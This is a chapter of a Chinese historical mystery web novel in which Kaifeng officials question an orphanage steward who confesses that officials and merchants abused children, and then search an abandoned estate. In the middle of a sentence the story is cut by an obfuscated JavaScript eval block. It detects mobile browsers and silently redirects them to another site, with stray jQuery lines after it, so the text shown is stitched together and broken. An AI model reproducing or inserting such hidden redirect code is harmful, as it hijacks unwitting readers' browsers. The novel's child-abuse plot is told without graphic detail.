其实让杭叙言教训那伙流氓混混也只是解一时之快而已,这对于他们背后之人没有一点点的伤害,那群混混本就是游走在街上的无所事事的一群人而已,他们就算是死了,都不会影响到任何人。
但当杭叙言带着巡兵将整个医馆包围之时,也是和昌王那群人宣战的时刻。之前都是在暗地中进行调查,现在就是在光明正大的告诉所有人,这个医馆中有一位特别重要的证人!
之前从颖昌回来的路上对王越和王嬅使出来的手段,他们可敢在开封再使一次?
当所有人都散去,张守信还跟在赵楚樟的身边,看到自家大人看向沈昭先的眼神,他就知道自己在这里是多余的。
“大人,我去外面看看。”说完不等赵楚樟反应,他径直离开,即将出院子时,他回头看了一眼沈昭先和自家大人,这两个人怎么看都不觉得他们会有什么共同语言。
赵楚樟来到沈昭先的身边,几日不见感觉她瘦了点。整个人都恹恹的,像是最近没有休息好。他不免有些担心:“最近很忙吗?没休息好?”
沈昭先看着赵楚樟想到和兄长的对话,他回开封就是想为边关的兄弟讨一个说法,但这个说法很难讨,就同父亲的说法一样难以讨回。
“没有,有一些事想不明白。”想不明白皇帝为什么不公正,他除了是父亲还是皇帝。他都不公正,这世界上……也对,他除了是皇帝还是父亲,都坐在皇位上了,为什么不能庇护儿子呢。
就在一转眼间,她的眼神骤然明亮,恹恹的神情瞬间消散。嘴角勾起一抹嘲弄的弧度,“不过,我现在想明白了。”自己兄长做得没错,对上昌王只能采取与他人合作的方式。
“大人,”沈昭先想说不如去找太子合作,至少等从他那里得到证据,“这个案件,应该不简单吧!背后之人不说手眼通天,也差不多吧?”是了,不能和赵楚樟提及太子,因为皇帝见不得党争,即便是昌王真的有错。
赵楚樟确实没在沈昭先的身上看到她不舒服的状态,于是将目光收回,他也感叹道:“不止手眼通天,那些个参与进去的官员富商从此就有了把柄。这把柄就被那人紧紧握在手中!”
因为赵楚樟背过身去,沈昭先看不到他眼中那一闪即逝的憎恶与狠厉。他深吸一口气,再开口时,声音已恢复了惯常的清明,“但这世间,不会有讨不到的公道!”
沈昭先看着赵楚樟挺直的背影,久久没有说话。她不知道这话是说给谁听的。但赵楚樟没说错,父亲的死,昌王一定会付出代价的!
——————————————
开封府,赵楚樟淡淡的看着跪在地上不断磕头的男人,他身上的衣服料子比沈昭先身上的都好,明明是个近五十岁的人,脸上却看不到一点风霜的影子。若果不是事发突然,他在开封的生活比绝大多数人都好。
沈昭先看着手上的男人递上来的一张张记录着加害者与受害者的纸张,看向男人的眼神逐渐不善。如果他不是主动投案,自己遇到这种人,应该会想办法杀了他。
赵楚樟来到男人面前,蹲在地上揪住男人脖颈后的衣服,阻止了男人的继续磕头,男人抬头露出一张十分惊慌恐惧的脸,然后他就听到了年轻的开封府少尹的声音:“金大壮,你确定这上面写的都是真的?”
金大壮伸出三根手指发誓,他声音带着哭腔,急切地说道:“大人,我金大壮对天发誓,这些绝对都是真的啊!我实在是受不了良心的谴责了,才来投案自首的。我每天晚上都做噩梦,梦见他们来找我索命……”
赵楚樟松开揪着金大壮衣服的手,站起身来,眼神冰冷地审视着金大壮,“既然你知道这是作孽,为何一开始还要参与进去?”
金大壮瘫坐在地上,用手抹了把脸,“大人,我也是被逼的啊。那些人势力太大,我要是不听他们的,我全家都得遭殃。我就是个普通百姓,哪敢和他们对着干啊。幼宁慈幼局就是永城侯出钱建的,那些孩子也都是他派人挑选的,小人就只是管事,那些事情小人都没有参与!”
沈昭先将手中的纸张又仔细看了一遍,上面详细记录着官员富商作案过程以及受害孩子的信息。她眉头紧皱,看着口口声声说着自己是受不了良心谴责的金大壮。若是真的不忍心,就不会在那种鬼地方做四五年的管事!
这金大壮是突然间被人送进开封府的。送他进来的人沈昭先也认识,是夏修。金大壮怕自己有危险特意请了镖师保护自己,可能是最近受到的威胁太多,他觉得哪里都不安全,便来到开封府。
最近开封府的调查让那些人害怕了,他们甚至开始卸磨杀驴。很显然金大壮这头“驴”为自己留下了保命的后手!不过昌王找来的人竟然是永城侯,这是让人始料未及的。至少昌王和永城侯明面上没有交集。
赵楚樟和沈昭先对视了一眼,赵楚樟说道:“你最好说的是实话,若是敢有半句虚假,定不轻饶。”
金大壮又重重地磕了个头,“大人,我绝对不敢说谎啊。我现在只想将功补过,求大人给我一个机会。”
听到这话赵楚樟露出玩味的笑,他居高临下的看着瘫在地上的金大壮,说出的十分的讽刺,“你不是知错了,你是被人追杀,想找我保命。”
赵楚樟很清楚金大壮为何会来找自己,这也是自己与那人之间的默契。不过将金大壮送来自己这,确实是个不错的选择。
金大壮听出赵楚樟话里的嘲讽,却也不敢反驳,只是继续苦苦哀求:“大人,不管怎样,我现在愿意说出我知道的一切,只求大人能护我周全。”
赵楚樟冷笑一声,眼中透露出威压:“你最好把你知道的所有地点和涉及的人都交代清楚。”
金大壮看着站在一旁的沈昭先,虽然不知道这个女人为什么站在这里,但赵楚樟都没有说什么,他就更不敢反驳了。金大壮连忙点头:“是是是,我一定都说。除了永城侯,还有几位大官和富商也参与其中,他们负责提供资金和渠道。地点的话,在城郊有几处隐蔽的院子,就是他们暂时安置孩子的地方。”
金大壮交代的城郊几处地点早就人去楼空,不过还是能看出这里有生活痕迹,生活在这里的人也有不少。周围也没有什么人家,更没有什么目击证人,这条线索也算是断了。
赵楚樟听着康推官的话,眉头紧锁。看来最近开封府的动作太大了,那些人已经注意到了。如果不快一点,那些被他们藏起来的人,将会陷入危险。昌王及其党羽的手段有目共睹,他们不在乎对方是什么人,只要是挡住他们路的人,便是将军也敢杀。
至于金大壮提交的那份名单,上面确实记载着许多官员,还有不少富商。只是仅凭一份名单就像让这些人接受调查,那是不可能的。
至于陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847098|191408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黛,她现在的状态也不算太好。混沌的时候还能和周围的人说上两句糊涂话;清醒的时候就一个人静静坐着一言不发。一个姑娘遭遇了这样事,还是不要让她在回忆那些噩梦了。
看着康推官也是一脸的惆怅,赵楚樟便说:“不用担心,我们不是还有金大壮吗?他知道的事情不止这一点,看看他还能说出什么来。”
“他这个人十分精明,若是知道这条线索断了,他还会继续合作吗?”康推官心中还是有顾虑额,便试探性的问。
对于金大壮这个人,康推官的意思还是不要过多的接触,毕竟他来开封府是避难的。他若真的有良心,怎么会一直为那群混蛋卖命?但他同时也知道,昌王及其党羽的手上还有一些孩子,若速度再慢一点,这些孩子的命就保不住了。
赵楚樟对这个人没有什么好印象,“他是投案自首的罪犯,我们是开封府的官员,就没听说过罪犯和官府合作!他若是不说,就将他丢进刑部!”
刑部那可是昌王的地界,这人若是刑部大牢,当天晚上就会暴毙。这金大壮在这个时候来开封府,为的就是能保自己一命。之前开封府关押的王越被人投毒而死,皇帝自然没有什么反应,但少尹大人的反应特别大。
在那之后开封府上上下下一通自查,就出不少尸位素餐之人,那些个被人安插进来的细作也都被清除出去。整个开封,就只有开封府才能保住他的命了。
想通这一点,康推官立刻附和道:“下官知道该怎么做了,还请大人静候佳音。”
沈昭先清晨去上值,才刚刚走做出家门,就看到门外站在开封府的衙役还有张守信?她心头猛地一沉,睡意瞬间消散殆尽。这天色尚早,开封府的衙役和张守信却已等在门外,这绝非寻常!
“你怎么在这里?”沈昭先快步上前,目光扫过衙役们凝重的面孔,最后落在张守信身上,“出了什么事?”她立刻想到那被重重保护的证人,声音不自觉带上了紧绷。不过证人出事了,应该找不到自己,刚刚的猜忌又被自己否定了。
张守信抱拳行礼,神色肃然:“沈画师,大人请你去一个地方。”
去什么地方能搞出这么大的动静?沈昭先一头雾水上了张守信带来的马车。车轮碾过石板发出的声响,打破了清晨的寂静。沈昭先坐在微微颠簸的车厢内,心绪难以平静。张守信骑马护在车旁,神情紧绷,目光锐利地扫视着街道两旁,显然是在戒备着什么。
“张守信,”沈昭先忍不住掀开车帘一角,低声问道,“我么究竟要去什么地方?”她的目光紧紧锁住张守信侧脸,试图从上面找出蛛丝马迹。
“到了你就知道了。”
行吧,那就等吧,沈昭先便不再想了。马车走越偏。周围的屋舍渐渐稀疏,空气里弥漫着一种郊野特有的潮湿和草木气息。沈昭先努力回忆着金大壮供词中提到的城郊地点方位,试图与此刻的行进路线对应,却毫无头绪。
终于,马车在一处荒僻的树林边缘停了下来。这里似乎是一个废弃的庄园入口,残破的石门半掩在疯长的荒草中。这里被杭叙言带来的人层层包围,赵楚樟和曹判官就在入口处和杭叙言说着什么。
就当沈昭先以为所有人都在这里时,随着她下车一点点靠近才发现,破败的庄园里面的人更多,他们都在埋头挖着什么。一阵风吹过,沈昭先忽然感觉很冷,非常冷。